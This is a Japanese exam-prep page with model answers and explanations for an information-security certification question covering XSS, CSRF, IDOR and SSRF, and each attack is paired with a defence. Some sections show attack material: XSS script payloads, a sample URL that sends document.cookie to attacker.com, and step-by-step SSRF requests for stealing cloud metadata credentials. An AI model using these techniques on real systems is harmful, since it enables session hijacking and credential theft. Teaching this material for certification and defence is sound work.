HOME»情報処理安全確保支援士令和6年春期»午後問題»午後 問3

情報処理安全確保支援士過去問題 令和6年春期 午後 問3

⇄問題PDFと解説を画面2分割で開く⇱問題PDF

設問1

解答入力欄

解答例・解答の要点

    • 9
    • 攻撃者がわなリンクを用意し，管理者にそのリンクを踏ませることで管理者権限のcookieを攻撃者のWebサイトに送信させ，その値を読み取って利用することで管理者としてサイトXにアクセスし，利用者情報を取得する。

    • 解説

    • 表1によると問合せ機能は「利用者が問合せ情報を入力できる」ものであり、入力した内容はデータベースなどで管理されることがわかります。また、問合せ機能で入力された情報は、サイト管理者が問合せ管理機能を使用して閲覧することができます。

      問題文には、図3の内容が問合せ機能に対するリクエストとそのレスポンスであると説明されています。HTTPリクエストヘッダーのContent-Typeのapplication/x-www-form-urlencodedは、このリクエストはフォームの送信を受け付けたものであることを示しています。POSTメソッドでは、空白行がヘッダーとメッセージボディの境界となり、メッセージボディ部にはフォームに入力された内容が「パラメータ名=値」の形で記述され、各パラメータは「&」で連結されています。これを踏まえて図3のメッセージボディ部を見ると、注記にあるように、利用者が入力したnameパラメータの値としてscriptタグを含む文字列が確認できます。alert()はメッセージダイアログを出すJavaScript命令で、これ自体は無害ですが、攻撃者が別の命令に変えることで、任意のスクリプトを埋め込むことができると考えてください。

      〔XSSについて〕(2)には「図3中のレスポンスボディには，問合せ機能で入力した値は出力されていない」とあるので、スクリプトが出力されたのは、問合せを行った利用者の画面上ではないことがわかります。つまり、項番5の問合せ機能ではありません。他に問合せ内容のname（名前）情報が表示される場所を考えると、項番9の問合せ管理機能を使用して問合せ情報を閲覧したときが考えられます。問合せ情報の表示では、データベース等に保存されている情報を取得してそれをWebページ内に表示する流れになるので、入力時と出力時にサニタイジングを行っていなければ、入力されたnameの値がそのままHTML上に出力され、XSS攻撃が成立することになります。
      //①タグの内容に挿入
      <div class="name">{$name}</div>
      ↓
      <div class="name">"><script>alert(1)</script><"</div>

      //②属性値に挿入
      <input name="name" value="{$name}">
      ↓
      <input name="name" value=""><script>alert(1)</script><"">
      上記2つのいずれでもWebブラウザはscriptタグを解釈し、内部のalert(1)を実行します。通常であれば入力時と出力時にHTML中の特殊文字（最低でも & < > ' " の5つ）を実体参照（&amp; &lt; &gt; &apos; &quot;）に置き換えて無害化するエスケープ処理を行うことで対策します。

      ∴9

    • 攻撃者がXSSを悪用する場合、まず罠サイトを用意します。XSSは「クロスサイト」という名が示す通り、罠サイトや罠フォームを経由して行う攻撃です。

      XSSの一般的な攻撃手法の一つとして、利用者のcookie情報を攻撃者の用意したサイトに送るというものがあります。本問のようにcookieにHttpOnly属性が付与されていない場合、document.cookie等を参照することでプログラムからクッキーにアクセスすることが可能です。攻撃者は任意のスクリプトを実行できるので、cookieやURLの情報を外部サイトに送信することができます。例えば、Ajaxで非同期に送る、URLパラメータとして送る（下記例）などの手段があります※2。
      https://attacker.com/?c=document.cookie?url=location.href
      〔サイトX〕には「サイトXのログインセッション管理は，cookieパラメータのSESSIONIDで行う。SESSIONIDには，値とSecure属性※1だけがセットされる」とあるので、このXSS攻撃を実行すれば、攻撃者はcookieに保存されている管理者のSESSIONIDの値やサイトX上の管理用ページのURLを取得することができます。そして「サイト管理機能は，D社の内部ネットワーク以外からも利用する可能性があり，接続元の制限を行っていない」ので、攻撃者は盗んだSESSIONIDの値をcookieにセットしてサイトXの管理用URLにアクセスすることで、管理者用の利用者アカウントを乗っ取ることが可能です（セッションハイジャック）。攻撃者は、管理者になりすましてサイト管理機能にアクセスし、会員管理機能から利用者情報を取得することができます。

      ∴攻撃者がわなリンクを用意し，管理者にそのリンクを踏ませることで管理者権限のcookieを攻撃者のWebサイトに送信させ，その値を読み取って利用することで管理者としてサイトXにアクセスし，利用者情報を取得する。

      ※1 Secure属性はアクセス先がHTTPSの場合に限り、cookie情報を送る設定です。
      ※2 模範解答では、わなリンクを用意して踏ませるとなっていますが、任意のスクリプトが実行できるのであればクリックさせる必要はありません。なので、わなのURLにアクセスさせるという意味でとらえた方が良いでしょう。

    設問2

    解答入力欄

      • a：
      • b：
      • c：
      • d：

    解答例・解答の要点

    • 攻撃者が自らのアカウントで取得したcsrf_tokenと一緒に利用者情報をサイトXに送るように構成したわなフォームに，詐欺メールなどで利用者を誘導し，利用者情報を変更させる。
    • a：×
    • b：×
    • c：○
    • d：×

    • 解説

    • CSRF(クロスサイトリクエストフォージェリ)は、会員制サイトなどのログインやセッション管理を伴うWebアプリケーションの不備をつく攻撃手法で、会員がログイン状態であるときに会員情報の変更や商品の注文画面へのハイパーリンクをクリックさせる（またはスクリプトでリダイレクトする）ことで意図しない不正な処理要求を行わせる攻撃をいいます。

      後述のSameSite属性が登場する以前は、セッショントークンをフォームに埋め込んで、リクエストに含まれるトークンが正当かどうかを判定することで対策が行われていました。SameSite属性により対策はWebブラウザのサポート状況に依存するので、セッショントークンによる対策が基本です。表2中のパラメータcsrf_tokenがセッショントークンに該当します。

      表2中の手順1、2がエラーとなっていることから、サイトXに対してはcsrf_tokenが必要なことがわかります。しかし、手順3については、異なる利用者アカウントのcsrf_tokenが正常と処理されています。つまり、他人のcsrf_tokenであっても処理を受け入れてしまうということです。攻撃者がこの不備を悪用した場合、以下の手順でCSRFが成立します。
      1. 攻撃者は、サイトXのアカウントを取得する
      2. 攻撃者は、会員機能（編集）にアクセスし、サーバから発行されたcsrf_tokenを取得する
      3. CSRFのリクエストをサイトXに送信するための罠サイトのフォームに、2.で取得したcsrf_tokenをセットする
      4. ログイン状態にある利用者を罠サイトに誘導し、3.のフォームを送信させる
      ∴攻撃者が自らのアカウントで取得したcsrf_tokenと一緒に利用者情報をサイトXに送るように構成したわなフォームに，詐欺メールなどで利用者を誘導し，利用者情報を変更させる。

    • SameSite属性はcookieに設定する属性の一つで、ドメインをまたいだページ移動時のcookie送信を制御するための機能です。本問に当てはめると、サイトXが設定するcookieについて、外部サイトからサイトXに遷移する際のcookie送信を制限します。表3で分かるように、同じドメイン内での遷移ではcookie送信に制限はありません。

      SameSite属性には次の3つのいずれかを設定できます。2024年現在、主要なWebブラウザではLaxがデフォルトです。
      Strict
      GET/POSTの両方でcookieを送信しない。一番厳しい制約
      Lax
      GETではcookieを送信するが、POSTではcookieを送信しない。中間的な制約
      None
      GET/POSTの両方でcookieを送信する（Secure属性が必須）。一番緩い制約
      空欄a、bはStrictなので「GET：×、POST：×」、空欄c、dはLaxなので「GET：○、POST：×」が適切です。したがって「a：×、b：×、c：○、d：×」となります。

      cookieのSESSIONIDのSameSite属性にStrictまたはLaxを設定することで、利用者が罠サイトでフォームを送信した場合でも、罠サイトからサイトXに遷移する際にSESSIONIDが送信されなくなり、セッションが切れるためCSRFは失敗します。

      ∴a＝×、
      　b＝×
      　c＝○
      　d＝×

    設問3

    解答入力欄

    解答例・解答の要点

    • order-codeの下6桁を総当たりで試行する。
    • cookieの値で利用者アカウントを特定し，order-codeの値から特定したものと違っていれば，エラーにする。

    • 解説

    • order-codeの仕様は、左6桁が「注文年月の数字6桁」、右6桁が「ランダムな英大文字6桁」となっています。左6桁の数字は「202404」で固定されていて、右6桁のランダム値の組み合わせ数は「26^6≒3億」なので、十分に総当たり攻撃によるアタックが可能と言えます。認証と異なり、検索画面にはロックアウト機能が設けられていないことが一般的なので、左6桁の数字を固定し、右6桁を総当たりで施行することで、攻撃が成立する可能性が高いと考えられます。

      ∴order-codeの下6桁を総当たりで試行する。

    • 現状では、ログイン状態であり、入力したorder-codeの値が一致すれば他人の注文履歴を閲覧することができます。この脆弱性を解決するには、リクエストした利用者の注文履歴しか表示しないようにする必要があります。図5の注記より、order-codeは、値から利用者を特定することができることがわかります。また、サイトXでは、利用者アカウントのログインセッション管理をcookieパラメータのSESSIONIDで行っているため、SESSIONIDから利用者を特定することができます。この2つの情報を照合し、一致した場合だけ処理をするように変更することにより、認可制御の不備に係る脆弱性をなくすことができます。

      ∴cookieの値で利用者アカウントを特定し、order-codeの値から特定したものと違っていれば、エラーにする。

    設問4

    解答入力欄

    解答例・解答の要点

    • 変更後のURLにPOSTデータは送ることができないから
    • パラメータpageの値をIMDSのクレデンシャル情報を返すURLに変更する。
    • トークンを発行するURLにPUTメソッドでアクセスしてトークンを入手し，そのトークンをリクエストヘッダに含めて，IMDSのクレデンシャル情報を返すURLにアクセスする。
    • パラメータpageの値がサイトP以外のURLならエラーにする。

    • 解説

    • 図7のリクエストラインを見ると、サイトYに送るURLパラメータとしてサイトPのWebページが指定されています。問題文冒頭の〔新たなWebサイトの構築〕では「サイトYは，サイトPで取り扱っている情報を表示する」とあり、新着情報を取得するためにURLがパラメータとして渡されていることを考えると、リクエストを受け取ったWebサーバYでは、WebスクレイピングによってサイトPのコンテンツを取得し、それをサイトP上に表示することが想定できます。
      pm03_1.png/image-size:213×125
      図2の[CMSについて]を読むと、CMSの管理ログイン画面へのアクセスは、VPN接続されたD社管理者PC、またはVPC内からのアクセスだけに制限されていますが、pageパラメータに https://■■■.jp/admin というように管理ログイン画面のURLを指定することで、VPC内のWebサーバYからリクエストが送信され、利用者は本来アクセスできない管理ログイン画面にアクセスすることができます。このように、本来アクセスすることができない内部情報に、公開されているサーバを踏み台にしてアクセスを試みる行為が「SSRF攻撃」です。
      pm03_2.png/image-size:575×204
      上記のようにCMSの管理ログイン画面にはアクセスできます。しかし、図2の[CMSについて]に「ログインは，POSTメソッドでは許可されるが，GETメソッドでは許可されない」とあり、IDとパスワードはPOSTメソッドで送らなければならないことがわかります。WebサーバYが任意のWebページの情報を取得する際に使用するのは常にGETメソッドであり、URLを変更してもPOSTメソッドでパラメータを送ることはできません。これが管理ログイン画面にログインできない理由となります。

      ∴変更後のURLにPOSTデータは送ることができないから

    • まず、正規の手順でクレデンシャル情報を取得する方法を確認します。図2の[IMDSについて]より、「特定のURL(https://○○○.○○○.○○○.○○○/meta-data/credential)にGETメソッドでアクセスすると、クラウドW上のサービスのクレデンシャル情報を返す」という記述があります。また「方式1：特定のURLにアクセスするだけで情報を取得できる」を採用していることから、特定のURLにアクセスするだけでクレデンシャル情報を取得できることがわかります。

      IMDSにはプライベートIPアドレスが設定されているため、本来は外部からアクセスすることはできませんが、SSRFにより、VPCに属するWebサーバYにリクエストを出させることによって、プライベートIPアドレスでのアクセスが可能となります。具体的には、pageパラメータの値をIMDSのクレデンシャル情報を返すURLを設定します。このリクエストを受け取ったWebサーバYは指定に従ってIMDSにアクセスし、クレデンシャル情報を取得してくれます。

      ∴パラメータpageの値をIMDSのクレデンシャル情報を返すURLに変更する。
      pm03_3.png/image-size:578×557
    • 方法Gは、問題文より以下のことができます。
      • パラメータの値を変更
      • リクエストに任意のメソッドの指定
      • 任意のヘッダーの追加
      図2の[クラウドWにあるサーバ及びストレージWについて]より、ストレージWにアクセスするためには、D社用に発行されたクレデンシャル情報が必要です。方式2は「トークンを発行するURLにPUTメソッドでアクセスし，レスポンスボディに含まれるトークンを入手してから，そのトークンをリクエストヘッダに含めて特定のURLにアクセスすると情報を取得できる」ので、この方法をそのまま利用します。
      • リクエストに任意のメソッドを指定できるので、図7のリクエストをGETメソッドからPUTメソッドに変更する
      • pageパラメータの値を、トークンを発行するURLに変更します
      これでレスポンスボディにトークンが返されます。
      • 任意のヘッダの追加ができるので、取得したトークンをリクエストヘッダに含める
      • pageパラメータの値をクレデンシャル情報を取得するURLに変更する
      このような2段階のリクエストにより、クレデンシャル情報を取得でき、ストレージWにアクセスして情報を盗み出すことができます。

      ∴トークンを発行するURLにPUTメソッドでアクセスしてトークンを入手し，そのトークンをリクエストヘッダに含めて，IMDSのクレデンシャル情報を返すURLにアクセスする。

    • ここまで設問の攻撃例では、pageパラメータに指定するサイトがトークンを発行するURLやクレデンシャル情報を返すURLでした。本来このリクエストやpageパラメータの目的は、サイトPの新着情報を取得するものであり、サイトP以外のドメインを想定したものではありません。このため、オープンリダイレクトへの一般的な対策と同様に、受け入れるURLのFQDNを限定する方法で対策することが可能です。したがって、Webアプリに追加すべき処理は「サイトP以外のURLが指定された場合はエラーにする処理」が適切となります。

      ∴パラメータpageの値がサイトP以外のURLならエラーにする。
    © 2014-2024　情報処理安全確保支援士ドットコム　All Rights Reserved.
    ▲
    Pagetop